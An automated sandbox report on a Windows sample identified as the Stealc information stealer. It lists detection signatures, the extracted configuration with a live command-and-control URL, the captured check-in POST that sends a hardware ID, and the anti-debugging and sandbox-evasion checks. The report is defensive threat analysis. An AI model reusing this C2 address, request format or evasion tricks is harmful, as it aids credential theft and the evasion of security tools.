Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1520716
MD5:	f413d695f62b9d29686880be5daedb80
SHA1:	5680fc5f5fd1689a5aa2d0682434b5c20f6784bc
SHA256:	5a8c2a4536f6c77609a753f916c001d169f7746b3cca7aee87ac4b0a2422ac03
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 6800 cmdline: "C:\Users\user\Desktop\file.exe" MD5: F413D695F62B9D29686880BE5DAEDB80)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "save"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2133666234.00000000019BE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2092431319.0000000005610000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6800	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6800	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.c30000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T19:04:09.324295+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.c30000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "save"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C3C820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_00C3C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C39AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00C39AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C37240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00C37240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C39B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00C39B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C48EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00C48EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C438B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00C438B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C44910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00C44910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C3DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00C3DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C3E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00C3E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C44570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00C44570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C3ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00C3ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C316D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00C316D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C3F68A FindFirstFileA,	0_2_00C3F68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C43EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00C43EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C3F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00C3F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C3BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00C3BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C3DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00C3DE10

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHCBAFIDAECBGCBFHJEHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 48 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 37 31 46 44 32 38 45 30 30 43 39 33 37 34 30 31 30 35 32 38 31 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 2d 2d 0d 0a Data Ascii: ------IEHCBAFIDAECBGCBFHJEContent-Disposition: form-data; name="hwid"671FD28E00C93740105281------IEHCBAFIDAECBGCBFHJEContent-Disposition: form-data; name="build"save------IEHCBAFIDAECBGCBFHJE--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C34880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00C34880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHCBAFIDAECBGCBFHJEHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 48 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 37 31 46 44 32 38 45 30 30 43 39 33 37 34 30 31 30 35 32 38 31 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 2d 2d 0d 0a Data Ascii: ------IEHCBAFIDAECBGCBFHJEContent-Disposition: form-data; name="hwid"671FD28E00C93740105281------IEHCBAFIDAECBGCBFHJEContent-Disposition: form-data; name="build"save------IEHCBAFIDAECBGCBFHJE--

Source: file.exe, 00000000.00000002.2133666234.00000000019BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2133666234.0000000001A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2133666234.0000000001A19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2133666234.0000000001A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2133666234.0000000001A34000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2133666234.0000000001A19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2133666234.0000000001A19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php/
Source: file.exe, 00000000.00000002.2133666234.0000000001A34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php;
Source: file.exe, 00000000.00000002.2133666234.0000000001A34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpK
Source: file.exe, 00000000.00000002.2133666234.0000000001A44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpXN
Source: file.exe, 00000000.00000002.2133666234.0000000001A19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpw
Source: file.exe, 00000000.00000002.2133666234.0000000001A19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ws

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01005984	0_2_01005984
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E9E036	0_2_00E9E036
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ECA1FD	0_2_00ECA1FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FF9993	0_2_00FF9993
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EA4987	0_2_00EA4987
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010188A1	0_2_010188A1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F67AEB	0_2_00F67AEB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01007B4C	0_2_01007B4C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0100C25F	0_2_0100C25F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FFEB58	0_2_00FFEB58
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB5B2E	0_2_00FB5B2E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010022D6	0_2_010022D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0100DD3D	0_2_0100DD3D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01008D48	0_2_01008D48
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EFD5FE	0_2_00EFD5FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01000744	0_2_01000744
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F91E78	0_2_00F91E78
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0100F782	0_2_0100F782
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FFC63F	0_2_00FFC63F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0100A7D2	0_2_0100A7D2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FFCFF0	0_2_00FFCFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01120648	0_2_01120648
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01003EBF	0_2_01003EBF

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00C345C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: cgvssnvn ZLIB complexity 0.9948659202904002

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C48680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00C48680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C43720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00C43720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\WTS7MIR6.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1858048 > 1048576

Source: file.exe

Static PE information: Raw size of cgvssnvn is bigger than: 0x100000 < 0x19f600

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.c30000.0.unpack :EW;.rsrc :W;.idata :W; :EW;cgvssnvn:EW;oemmexyc:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;cgvssnvn:EW;oemmexyc:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C49860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00C49860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1cfe90 should be: 0x1d131c

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: cgvssnvn
Source: file.exe	Static PE information: section name: oemmexyc
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010CE100 push edi; mov dword ptr [esp], eax	0_2_010CE104
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0109A143 push 67B32BF8h; mov dword ptr [esp], edi	0_2_0109A15E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010AE144 push edi; mov dword ptr [esp], 0D6F5201h	0_2_010AE148
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01005984 push ecx; mov dword ptr [esp], eax	0_2_01005989
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01005984 push edi; mov dword ptr [esp], ebx	0_2_010059D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01005984 push edx; mov dword ptr [esp], 7CF6357Ch	0_2_01005A34
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01005984 push 1A0C36FAh; mov dword ptr [esp], esi	0_2_01005A8A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01005984 push 3C81E910h; mov dword ptr [esp], ebp	0_2_01005AF1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01005984 push 5655675Bh; mov dword ptr [esp], edx	0_2_01005B00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01005984 push eax; mov dword ptr [esp], ebx	0_2_01005B76
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01005984 push 36F8C9A1h; mov dword ptr [esp], esi	0_2_01005B7E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01005984 push 4312908Ch; mov dword ptr [esp], eax	0_2_01005BB7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01005984 push ecx; mov dword ptr [esp], esp	0_2_01005C5B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01005984 push ebx; mov dword ptr [esp], ebp	0_2_01005C74
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01005984 push esi; mov dword ptr [esp], edi	0_2_01005C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01005984 push edi; mov dword ptr [esp], 00000004h	0_2_01005C84
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01005984 push ebx; mov dword ptr [esp], esi	0_2_01005CEB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01005984 push edx; mov dword ptr [esp], 1F776BF6h	0_2_01005CF3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01005984 push 676C4EFEh; mov dword ptr [esp], edx	0_2_01005D2A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01005984 push 72095A22h; mov dword ptr [esp], edx	0_2_01005D3D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01005984 push ecx; mov dword ptr [esp], edi	0_2_01005D67
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01005984 push edi; mov dword ptr [esp], esp	0_2_01005D6B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01005984 push 14A2C230h; mov dword ptr [esp], edx	0_2_01005D7B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01005984 push 3809FB90h; mov dword ptr [esp], edi	0_2_01005E2E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01005984 push ebx; mov dword ptr [esp], 614D0897h	0_2_01005E35
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01005984 push esi; mov dword ptr [esp], 369E8595h	0_2_01005E46
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01005984 push edx; mov dword ptr [esp], ecx	0_2_01005F1C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01005984 push 36BA9B59h; mov dword ptr [esp], ebp	0_2_01005F24
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01005984 push ebx; mov dword ptr [esp], 350E85B7h	0_2_01005F5B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01005984 push 5D3F73C2h; mov dword ptr [esp], edx	0_2_01006005
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01005984 push 0C91E582h; mov dword ptr [esp], ebp	0_2_01006081

Source: file.exe

Static PE information: section name: cgvssnvn entropy: 7.9531873822886014

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00C49860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13482

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10144B1 second address: 10144C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 je 00007F0C5CC49424h 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007F0C5CC49416h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1013448 second address: 101344D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1003983 second address: 1003987 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1013C71 second address: 1013CA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F0C5CE44006h 0x0000000a pop edi 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e jp 00007F0C5CE44006h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 jmp 00007F0C5CE44017h 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f push ecx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1013CA5 second address: 1013CAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1013CAC second address: 1013CB3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1016405 second address: 1016409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1016409 second address: 101642A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C5CE44019h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
